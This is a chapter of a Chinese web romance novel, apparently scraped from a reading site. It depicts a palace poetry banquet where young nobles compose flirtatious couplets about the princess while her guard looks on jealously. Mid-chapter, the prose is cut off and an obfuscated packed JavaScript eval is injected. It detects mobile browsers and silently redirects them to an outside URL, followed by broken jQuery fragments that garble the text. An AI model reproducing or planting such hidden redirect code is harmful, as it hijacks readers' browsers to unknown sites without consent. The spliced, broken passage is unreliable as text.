23. 诗宴(二)
作品:《被白月光公主强吻后》 沈氏同为世家,伯爵已传至五代,最初的老伯爷还是大梁国的开国功臣,可惜子孙不济,几代传下来都是建树平平,到了沈幼谦这一辈,更是只剩他一个独苗,已摇摇欲坠,皇帝制衡士族,甚至没将沈氏算在其中。
沈幼谦举止文雅,彬彬有礼,模样也是生得端正,但凌夜只瞧他一眼,便不耐地翻了个眼。
眼下小福小禄已退至外围,云倾身边只留了个司膳房的小宫女,不时给公主添茶倒水,凌夜见身前小桌上有一盘山竺,便扯了个空盘过来,开始剥山竺。
沈幼谦得了允准,无需酝酿太多,只垂首抬眸间,便出口颂道:“月满高穹平添色,不胜金桂浅盘中。”
他所指的,正是桌上一盘金桂月饼。
月饼虽非稀奇之物,但今日是陛下设宴宴请,小小一盘点心,竟胜过中秋满月,皇恩浩荡。
皇帝果然听得心悦,身旁谢贵妃附耳问:“陛下,这沈小公子,可是昌文伯的那个嫡孙?”
皇帝扬眉:“爱妃认得他?”
谢贵妃妩媚一笑:“臣妾久居深宫,哪里会认得,只是记得曾听显王提起过,去年昌文伯的寿宴上,他唯一的嫡孙出口成章,一连作了九首祝寿,想来莫不是这个孩子。”
皇帝点头:“沈氏如今就这么一个嫡子,又自幼聪慧,文采斐然,沈老爷子确实颇为看重。”
谢贵妃笑笑没再多言。
下面周怀章听了这诗,望向沈幼谦,笑容意味深长,称赞此诗意美应景,为今日诗宴开了好头。
这些小辈们出身高门,哪一个不是师从明儒,听此都被勾起了瘾,接二连三站了起来。
云倾搂着小知意,喂完了桃花羹,不知还能做些什么,萧晴仪已将女儿小小的身子从她怀中抱了出来,交给嬷嬷带去一边玩儿。
云倾知道不能辜负父皇苦心,只得专心听人作诗,只是不一会儿,刻意挺直的背脊便稍稍塌了下去。
凌夜旁若无人般,还在剥山竺。
他捏着一只小勺子,将透白的果肉一瓣瓣挖出,每一瓣都是完好无损,再将果肉上粘连的丝缕果皮仔细剃净,剥了约有四五个,整整齐齐摆在青瓷果盘中。
他拿起一旁浸了水的帕子,擦净手上汁水。
云倾正是神游,便听身后低唤一声:“公主。”
她回过头,一整盘饱满水润的山竺果肉被推到眼前,凌夜如画的眉眼微弯:“公主吃山竺。”
云倾蒙了些阴郁的小脸儿立时亮了,像做什么坏事般,趁着无人注意,小心接了过来。
她又开始专心吃山竺。
周怀章下位,国公府的位子上,桓泽也正含了口月饼,品味着席间络绎不绝的诗作,没有要起身的意思。
他身侧的桓济瞧向他。
桓泽身为公府世子,家里几个弟弟都对他十分敬重,他语声平淡:“你想作便作,不必顾及我。”
桓济便收回目光,待周太傅评点完前面一人,适时起身,先谦逊地自报名讳:“在下太国公府,桓济。”
国公府树大招风,便是他不说,在场又有谁不认得他,甚至早有人在盯着他们兄弟二人打量,周怀章道:“方才何公子所作末字为‘吟’,二公子请作答吧。”
桓济颔首,望向四周,在瞧见天渊池上的几艘画舫时,有了主意。
“华灯竞绽风吟旧,万里长月照古今。”
色彩绚丽的画舫与花灯争相斗艳,却终有一日在吟吟风雨中泛旧,可皓月当空,却是自古至今照彻万里。
桓泽看向弟弟,面露欣慰。
周怀章亦抚掌道:“二公子这诗寓有深意,恢弘大气,老夫听来甚佳。”
他问向皇帝:“陛下以为如何?”
皇帝同是褒奖,望着少年挺拔的身影,与谢贵妃低声耳语,谢贵妃面色似有些不自然,朝下使了个眼色。
周怀章继续主持:“下面以‘今’字作答,谁来接?”
云倾还在吃着山竺,身旁盛时音早是跃跃欲试,可她平日甚少吟诗作对,反应总比旁人慢了一步,好不容易碰到个容易的,赶忙起身。
“这接字作诗也不难嘛,我也来试试。”
云倾停了吃山竺,扭头看她,对面桓泽也是一顿,才端起的茶盏放了下去。
皇帝对这小侄女确是喜欢,打趣笑道:“哦?那你作来听听?”
盛时音胸有成竹,将她早就想好的句子搬了出来,慢条斯理道:“清辉落影将半月,一汪江流醉今宵。”
清辉说的是月光,半月便是半个圆,月亮的光辉落下,映照出半个圆的影子……众人都环顾着找了起来,盛小姐这说的是什么?
有位公子问:“盛小姐所作,可是这天渊池上的拱桥?”
众人望去,那拱桥确实映出了半圆的影子,可后面这句又如何对上?
盛时音得意地摇了摇头:“杜公子可猜错了。”
众人便又接着找,桓泽望向她,却是心神相通,蓦地垂眸笑了。
盛识戚等了半晌,见还是无一人猜中,无奈起身,朝大家拱了拱手:“让诸位见笑了,小妹所说的是——”
他指向时音跟前:“桌子。”
今日设宴的小桌,正是呈拱门之形,盛时音将一杯清酒摆在正中,便是那“一汪清流”了。
她自己出谜也就算了,还自己搭建了谜底。
盛时音喜出望外,桓泽意料之中,剩下不少人却忍不住笑了。
皇帝也是哭笑不得:“朕让你们作诗,你怎么还猜起谜来了?”
周怀章扶须道:“盛小姐这诗美则美矣,但所指不明,不能作数,要罚你重作一首。”
盛时音“啊…”了一句,小声嘀咕道:“怎么你们猜不出,还怪我作得不好了。”
皇帝挑眉:“你说什么?”
盛时音扁嘴,她再放肆,也不敢当众指责陛下啊,只得冥思苦想起来,可今日有这么多人作诗,身旁景物都被用遍了,她实在作不出来了。
众人都饶有兴致地等,云倾眼见时音脸都快红了,也替她着急,后面凌夜瞥了周太傅一眼,心想还是个老顽固。
桓泽握着茶杯的手指收紧,忽地放下茶杯,正要起身,被身边人压住手腕。
桓济担忧地压声道:“大哥,不可。”
桓泽与弟弟对视片刻,终是将心头冲动按了下去。
还是盛识戚幸灾乐祸地又起了身,朝上面拱手:“陛下,周太傅,小妹才疏学浅,怕是实在作不出来了,便容我代她一首吧。”
周怀章还想坚持,皇帝已是朗声笑了:“那好,那就由识戚代她来吧!”
盛时音还没来得及感激,便见堂哥望向自己,不怀好意地笑道:“良宵月下盈盈立,罗裳堪比桃面羞。”
美好的月色下有少女盈盈而立,身上的罗裳就如她美貌的面容一般,娇羞可人。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647564|188216||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
盛时音今日所着,正是一件绯棠色的绸缎犹罗裙。
她一跺脚,直接提裙坐下了,对云倾气道:“这个臭十七,他取笑我!”
云倾为盛识戚抱不平:“哪有,小表哥在帮你解围,夸你漂亮呢。”
确如她所说,方才那些还低笑的公子们,此时再看时音,便恍然觉得她这恼羞的样子着实可爱起来。
周怀章也总算满意,评这诗灵巧动人,盛识戚俯身谢过太傅,再抬起笑容来,满是少年人的调皮有趣。
皇帝瞧着他,又对谢贵妃耳语几句。
周怀章道:“这‘羞’字怕是不好接啊,谁来一试?”
短暂安静后,一位一直没有出声的年轻公子,站起身道:“在下怀阳侯府,楚琛,献丑一试。”
云倾身后,凌夜目光如箭,倏地射向他。
楚氏乃名门望族,怀阳侯位列五侯之首,皇帝六年前削减官爵,怀阳侯为向皇权表忠,不惜将十三岁的世子楚琛送进宫给皇子们做伴读,楚氏这才保住了爵位。
而楚琛年未弱冠,已是性情沉稳,极富学识,在科举试行中亦考下了功名。
他薄唇勾起,一双狭长凤眼正是望向云倾的方向:“银光含羞藏软瀑,美人如月蝶如出。”
凌夜眼睫微动,云倾耳后,正是明晃晃的蝴蝶银坠。
软瀑,是说少女柔发,银光含羞藏在其间,因为是美人佩戴而像真的一样,翩翩欲出。
谢贵妃轻轻“呀”了一声,掩唇提醒陛下。
众人顺着楚琛目光,大抵都瞧明白了,云倾也与他对上视线。
楚琛并不掩饰,大方赔罪:“是我方才见五公主与人说话,一时觉得美景难得,多有冒犯,还请公主恕罪。”
既无轻佻,他所言又尽是赞美,云倾如何能计较,只道:“楚公子言重。”
凌夜凝眉,心中隐隐不安。
有了楚琛开头,席间早已注意到云倾的公子们便都按耐不住了,又有人起身,指着月下朱红宫墙,吟“月笼朱檐”、“宫阙明珠”,有人借着天渊池上飞过的雁,说“月白柔荑”、“惊鸿铁骑”。
凌夜看向身前,宫阙中尊贵的明珠,又忆起她那日在猎场,驾马追风的潇潇英姿。
他眉间更紧,搭在膝上的手缓缓收拳,又是喉间一涩,蓦地笑了。
见桌上有酒,也不顾身为侍卫不得饮酒的禁令,给自己倒了一杯。
身影交替间,诗作不绝于耳,总是夹杂那么几个隐晦的倾慕之辞,皇帝眯起眼来,面上瞧不出什么喜怒,不评点,亦不阻拦,周怀章打量陛下神色,方领会过来。
云倾无动于衷,凌夜也就静静听着,听他们肆无忌惮赞美他的公主,伴着这迷朦月色,将杯中的酒喝了一盏又一盏,分明醉意上头,却又听得愈发清醒。
与云倾相隔几人的徐婉朝他看了过来。
他眼尾似含笑,却叫她窥见几分嘲讽与不甘。
本就是云泥之别,他还执意要深陷么?
凌夜恍惚中,听到一声如莺的声音:“小女安庆侯府,徐婉,献诗一句。”
那娓娓的声音,在他心头又刺了一刀。
“春衫浓月柳梢头,婵娟晚袖红颜后。”
春衫、柳梢上头的满月,皆指少年,婵娟、晚袖遮挡的容颜,便是少女。
就如此情此景。
权贵子弟,宗室之女,这才是般配啊。

